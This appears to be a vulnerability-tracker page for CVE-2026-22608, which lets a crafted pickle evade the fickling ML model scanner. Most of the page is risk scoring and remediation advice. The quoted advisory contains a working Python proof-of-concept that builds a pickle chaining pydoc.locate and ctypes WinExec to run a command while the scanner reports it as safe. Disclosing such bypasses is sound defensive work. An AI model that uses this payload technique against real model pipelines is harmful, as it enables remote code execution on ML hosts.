CVE-2026-22608: fickling: Allowlist Bypass evades input filtering

GHSA-5hvc-6wx8-mvv4 HIGH PoC AVAILABLE CISA: ATTEND
Published January 9, 2026
CISO Take

fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.

What is the risk?

HIGH risk for organizations using fickling to gate ML model loading. The bypass is trivially reproducible (public PoC exists), achieves unauthenticated RCE on the host deserializing the model, and specifically defeats the security control meant to prevent this class of attack. Risk amplifies in model-sharing workflows — internal registries, HuggingFace integrations, or automated MLOps pipelines — where a fickling LIKELY_SAFE verdict is the primary or sole defense against malicious pickles. EPSS is low (0.00043) indicating no observed mass exploitation yet, but the public PoC and high-value targets (GPU infrastructure, training data) make weaponization probable.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Fickling pip <= 0.1.6 0.1.7
636 OpenSSF 7.9 58 dependents Pushed 5d ago 100% patched ~5d to patch Full package profile →

Do you use Fickling? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.3%
chance of exploitation in 30 days
Higher than 26% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

1 step
  1. 1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art.9 - Risk management system
ISO 42001
A.6.1.6 - AI system security
NIST AI RMF
GOVERN-6.2 - Policies and procedures are in place for third-party AI risk MANAGE-2.4 - Residual risks are documented and accepted
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-22608?

fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.

Is CVE-2026-22608 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-22608, increasing the risk of exploitation.

How to fix CVE-2026-22608?

1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.

What systems are affected by CVE-2026-22608?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, MLOps CI/CD model registries, data science workstations, model sharing workflows.

What is the CVSS score for CVE-2026-22608?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

model servingtraining pipelinesMLOps CI/CD model registriesdata science workstationsmodel sharing workflows

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0074 Masquerading
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Art.9
ISO 42001: A.6.1.6
NIST AI RMF: GOVERN-6.2, MANAGE-2.4
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />

Exploitation Scenario

Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.

Weaknesses (CWE)

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

  • [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.

Timeline

Published
January 9, 2026
Last Modified
January 11, 2026
First Seen
March 24, 2026

Related Vulnerabilities